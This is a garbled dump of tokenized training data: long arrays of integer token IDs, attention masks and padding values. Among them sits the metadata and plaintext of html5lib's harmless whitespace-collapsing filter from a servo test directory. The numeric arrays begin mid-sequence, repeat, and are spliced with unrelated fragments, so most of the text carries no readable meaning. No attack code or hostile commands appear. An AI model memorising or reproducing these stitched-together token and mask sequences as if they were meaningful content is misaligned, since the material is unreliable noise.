399, 355, 587, 26, 490, 746, 4281, 360, 5912, 4137, 730, 26, 450, 83, 7, 450, 4137, 9, 267, 372, 1139, 12, 849, 63, 3248, 339, 768, 3744, 272, 347, 4137, 63, 13651, 8, 1886, 12, 4137, 63, 495, 304, 267, 408, 267, 27940, 314, 4137, 2225, 536, 367, 314, 1627, 4137, 1059, 14, 267, 2104, 2893, 12, 340, 314, 1627, 4137, 1059, 365, 283, 10207, 264, 297, 283, 77, 7, 3955, 506, 2138, 14, 267, 1626, 1919, 365, 4915, 340, 376, 2225, 3913, 506, 1911, 14, 267, 408, 267, 5117, 275, 4137, 63, 495, 14, 2325, 342, 267, 340, 4137, 63, 495, 315, 843, 14, 27522, 26, 288, 372, 4137, 63, 495, 267, 916, 5117, 315, 843, 14, 27522, 26, 288, 372, 5117, 267, 916, 5117, 315, 843, 14, 44, 12644, 26, 288, 372, 843, 14, 44, 12644, 59, 2325, 61, 267, 587, 26, 288, 746, 2186, 360, 6531, 440, 2342, 282, 4137, 4252, 4568, 543, 2071, 83, 4507, 450, 4137, 63, 495, 9, 199, 199, 533, 21892, 8, 18611, 1563, 304, 272, 6778, 5930, 275, 469, 267, 283, 4429, 7, 520, 3388, 14, 845, 2333, 12, 267, 283, 4429, 63, 18486, 79, 390, 7, 520, 3388, 14, 845, 1822, 2564, 12, 267, 283, 4429, 63, 261, 4291, 7, 520, 3388, 14, 845, 1822, 13067, 12, 267, 283, 9660, 23184, 63, 4429, 63, 18486, 79, 390, 7, 520, 3388, 14, 845, 17237, 11032, 1602, 12, 267, 283, 9660, 23184, 63, 4429, 63, 261, 4291, 7, 520, 3388, 14, 845, 1822, 2182, 713, 975, 12, 267, 283, 9660, 23184, 63, 4429, 63, 261, 4291, 63, 19347, 7, 520, 3388, 14, 845, 1822, 1367, 12, 267, 283, 4400, 7, 520, 378, 14, 614, 12, 267, 283, 9660, 23184, 63, 856, 7, 520, 378, 14, 8533, 31486, 2417, 1046, 1355, 12, 267, 283, 9660, 23184, 63, 24503, 7, 520, 378, 14, 28646, 1355, 1349, 11432, 975, 12, 267, 283, 4925, 415, 63, 856, 7, 520, 378, 14, 8533, 21422, 1479, 1477, 12, 267, 283, 4925, 415, 63, 1073, 7, 520, 378, 14, 1797, 10642, 16545, 772, 12, 267, 283, 667, 273, 676, 7, 520, 221, 413, 14, 2564, 1299, 12, 267, 283, 856, 356, 378, 14, 8533, 24, 12, 267, 283, 836, 1237, 63, 77, 7, 520, 413 ]
[ 1898, 334, 67, 9, 10219, 12, 6848, 12504, 1849, 384, 665, 293, 12504, 14, 331, 384, 32, 368, 3885, 77, 688, 14, 331, 14, 15291, 30, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 7100, 12, 199, 3, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 3, 199, 3, 257, 413, 14, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 4245, 12, 199, 3, 420, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 199, 3, 257, 499, 14, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 420, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 420, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 199, 3, 257, 650, 14, 11443, 314, 536, 402, 21892, 6590, 314, 1561, 402, 2399, 8417, 1443, 506, 1202, 199, 3, 420, 370, 10692, 503, 10016, 7585, 7131, 687, 642, 2032, 1928, 199, 3, 420, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 298, 1179, 2281, 2, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 199, 3, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 11489, 1549, 6483, 6262, 7024, 2381, 199, 3, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 6736, 199, 3, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 199, 3, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 199, 3, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 199, 3, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 199, 624, 199, 10076, 436, 26280, 2251, 370, 2040, 367, 27962, 436, 406, 433, 287, 6792, 15232, 199, 460, 24796, 14, 199, 199, 2817, 1384, 26, 6848, 12504, 1849, 384, 12, 13870, 262, 699, 2641, 78, 199, 199, 13962, 1038, 581, 701, 8875, 2713, 334, 1014, 921, 23919, 287, 14, 2546, 14, 8654, 15, 6776, 15, 303, 927, 24793, 199, 460, 5346, 1997, 13123, 458, 7, 11308, 36, 1736, 641, 4408, 12308, 6204, 367, 882, 656, 7769, 14, 199, 624, 199, 363, 452, 363, 275, 788, 33, 297, 283, 11043, 297, 283, 36, 297, 283, 10076, 418, 199, 504, 6107, 492, 6345, 199, 199, 533, 22933, 1563, 8, 785, 304, 272, 347, 849, 63, 5260, 8, 277, 12, 2074, 304, 267, 408, 267, 1432, 314, 4137, 574, 436, 314, 849, 6204, 2013, 267, 687, 314, 1627, 4252, 2368, 2600, 14, 267, 408, 267, 1139, 275, 378, 14, 16, 267, 367, 4137, 12, 574, 315, 2074, 14, 4611, 837, 288, 340, 440, 1228, 8, 585, 12, 2069, 304, 574, 275, 2069, 8, 585, 9, 288, 340, 4137, 315, 291, 14, 27522, 26, 355, 1139, 847, 291, 14, 27522, 59, 3248, 61, 627, 574, 355, 849, 63, 3248, 275, 4137, 288, 916, 4137, 315, 291, 14, 12644, 26, 355, 399, 275, 291, 14, 12644, 59, 3248, 61, 355, 1139, 847, 291, 14, 27522, 59, 85, 61, 627, 574, 355, 849, 63, 3248, 275, 399, 288, 587, 26, 355, 5117, 275, 4137, 14, 2325, 342, 355, 340, 5117, 315, 291, 14, 27522, 26, 490, 1139, 847, 291, 14, 27522, 59, 2325, 61, 627, 574, 490, 849, 63, 3248, 275, 5117, 355, 916, 5117, 315, 291, 14, 44, 12644, 26, 490, 399, 275, 291, 14, 44, 12644, 59, 2325, 61, 490, 1139, 847, 291, 14, 27522, 59, 85, 61, 627, 574, 490, 849, 63, 3248, 275, 399, 355, 587, 26, 490, 746, 4281, 360, 5912, 4137, 730, 26, 450, 83, 7, 450, 4137, 9, 267, 372, 1139, 12, 849, 63, 3248, 339, 768, 3744, 272, 347, 4137, 63, 13651, 8, 1886, 12, 4137, 63, 495, 304, 267, 408, 267, 27940, 314, 4137, 2225, 536, 367, 314, 1627, 4137, 1059, 14, 267, 2104, 2893, 12, 340, 314, 1627, 4137, 1059, 365, 283, 10207, 264, 297, 283, 77, 7, 3955, 506, 2138, 14, 267, 1626, 1919, 365, 4915, 340, 376, 2225, 3913, 506, 1911, 14, 267, 408, 267, 5117, 275, 4137, 63, 495, 14, 2325, 342, 267, 340, 4137, 63, 495, 315, 843, 14, 27522, 26, 288, 372, 4137, 63, 495, 267, 916, 5117, 315, 843, 14, 27522, 26, 288, 372, 5117, 267, 916, 5117, 315, 843, 14, 44, 12644, 26, 288, 372, 843, 14, 44, 12644, 59, 2325, 61, 267, 587, 26, 288, 746, 2186, 360, 6531, 440, 2342, 282, 4137, 4252, 4568, 543, 2071, 83, 4507, 450, 4137, 63, 495, 9, 199, 199, 533, 21892, 8, 18611, 1563, 304, 272, 6778, 5930, 275, 469, 267, 283, 4429, 7, 520, 3388, 14, 845, 2333, 12, 267, 283, 4429, 63, 18486, 79, 390, 7, 520, 3388, 14, 845, 1822, 2564, 12, 267, 283, 4429, 63, 261, 4291, 7, 520, 3388, 14, 845, 1822, 13067, 12, 267, 283, 9660, 23184, 63, 4429, 63, 18486, 79, 390, 7, 520, 3388, 14, 845, 17237, 11032, 1602, 12, 267, 283, 9660, 23184, 63, 4429, 63, 261, 4291, 7, 520, 3388, 14, 845, 1822, 2182, 713, 975, 12, 267, 283, 9660, 23184, 63, 4429, 63, 261, 4291, 63, 19347, 7, 520, 3388, 14, 845, 1822, 1367, 12, 267, 283, 4400, 7, 520, 378, 14, 614, 12, 267, 283, 9660, 23184, 63, 856, 7, 520, 378, 14, 8533, 31486, 2417, 1046, 1355, 12, 267, 283, 9660, 23184, 63, 24503, 7, 520, 378, 14, 28646, 1355, 1349, 11432, 975, 12, 267, 283, 4925, 415, 63, 856, 7, 520, 378, 14, 8533, 21422, 1479, 1477, 12, 267, 283, 4925, 415, 63, 1073, 7, 520, 378, 14, 1797, 10642, 16545, 772, 12, 267, 283, 667, 273, 676, 7, 520, 221, 413, 14, 2564, 1299, 12, 267, 283, 856, 356, 378, 14, 8533, 24, 12, 267, 283, 836, 1237, 63, 77, 7, 520, 413, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kaksmet/servo
tests/wpt/web-platform-tests/tools/html5lib/html5lib/filters/whitespace.py
1730
1142
from __future__ import absolute_import, division, unicode_literals import re from . import _base from ..constants import rcdataElements, spaceCharacters spaceCharacters = "".join(spaceCharacters) SPACES_REGEX = re.compile("[%s]+" % spaceCharacters) class Filter(_base.Filter): spacePreserveElements = frozenset(["pre", "textarea"] + list(rcdataElements)) def __iter__(self): preserve = 0 for token in _base.Filter.__iter__(self): type = token["type"] if type == "StartTag" \ and (preserve or token["name"] in self.spacePreserveElements): preserve += 1 elif type == "EndTag" and preserve: preserve -= 1 elif not preserve and type == "SpaceCharacters" and token["data"]: # Test on token["data"] above to not introduce spaces where there were not token["data"] = " " elif not preserve and type == "Characters": token["data"] = collapse_spaces(token["data"]) yield token def collapse_spaces(text): return SPACES_REGEX.sub(' ', text)
mpl-2.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 492, 485, 1095, 199, 504, 2508, 5559, 492, 4819, 576, 6255, 12, 25431, 199, 2638, 9272, 275, 10587, 904, 8, 2638, 9272, 9, 199, 199, 5763, 21287, 63, 10710, 275, 295, 14, 2014, 480, 9722, 83, 2807, 2, 450, 25431, 9, 421, 199, 533, 9388, 1547, 1095, 14, 4131, 304, 339, 4601, 2398, 4909, 6255, 275, 9522, 5234, 657, 401, 298, 20895, 937, 435, 769, 8, 1195, 576, 6255, 430, 339, 347, 636, 1661, 721, 277, 304, 267, 11211, 275, 378, 267, 367, 1526, 315, 485, 1095, 14, 4131, 855, 1661, 721, 277, 304, 288, 730, 275, 1526, 905, 466, 937, 288, 340, 730, 508, 298, 17697, 2, 971, 490, 436, 334, 17053, 503, 1526, 905, 354, 937, 315, 291, 14, 2638, 2398, 4909, 6255, 304, 355, 11211, 847, 413, 953, 916, 730, 508, 298, 16906, 2, 436, 11211, 26, 355, 11211, 4862, 413, 953, 916, 440, 11211, 436, 730, 508, 298, 28501, 2, 436, 1526, 905, 576, 6229, 355, 327, 1379, 641, 1526, 905, 576, 937, 3432, 370, 440, 13318, 3402, 7883, 2382, 2337, 4898, 440, 355, 1526, 905, 576, 937, 275, 298, 298, 953, 916, 440, 11211, 436, 730, 508, 298, 9272, 582, 355, 1526, 905, 576, 937, 275, 24311, 63, 10749, 8, 1418, 905, 576, 3135, 953, 1995, 1526, 421, 199, 318, 24311, 63, 10749, 8, 505, 304, 272, 372, 6988, 21287, 63, 10710, 14, 954, 360, 1656, 1318, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 2649, 63, 5955, 199, 199, 646, 295, 199, 199, 504, 1275, 492, 485, 1095, 199, 504, 2508, 5559, 492, 4819, 576, 6255, 12, 25431, 199, 2638, 9272, 275, 10587, 904, 8, 2638, 9272, 9, 199, 199, 5763, 21287, 63, 10710, 275, 295, 14, 2014, 480, 9722, 83, 2807, 2, 450, 25431, 9, 421, 199, 533, 9388, 1547, 1095, 14, 4131, 304, 339, 4601, 2398, 4909, 6255, 275, 9522, 5234, 657, 401, 298, 20895, 937, 435, 769, 8, 1195, 576, 6255, 430, 339, 347, 636, 1661, 721, 277, 304, 267, 11211, 275, 378, 267, 367, 1526, 315, 485, 1095, 14, 4131, 855, 1661, 721, 277, 304, 288, 730, 275, 1526, 905, 466, 937, 288, 340, 730, 508, 298, 17697, 2, 971, 490, 436, 334, 17053, 503, 1526, 905, 354, 937, 315, 291, 14, 2638, 2398, 4909, 6255, 304, 355, 11211, 847, 413, 953, 916, 730, 508, 298, 16906, 2, 436, 11211, 26, 355, 11211, 4862, 413, 953, 916, 440, 11211, 436, 730, 508, 298, 28501, 2, 436, 1526, 905, 576, 6229, 355, 327, 1379, 641, 1526, 905, 576, 937, 3432, 370, 440, 13318, 3402, 7883, 2382, 2337, 4898, 440, 355, 1526, 905, 576, 937, 275, 298, 298, 953, 916, 440, 11211, 436, 730, 508, 298, 9272, 582, 355, 1526, 905, 576, 937, 275, 24311, 63, 10749, 8, 1418, 905, 576, 3135, 953, 1995, 1526, 421, 199, 318, 24311, 63, 10749, 8, 505, 304, 272, 372, 6988, 21287, 63, 10710, 14, 954, 360, 1656, 1318, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 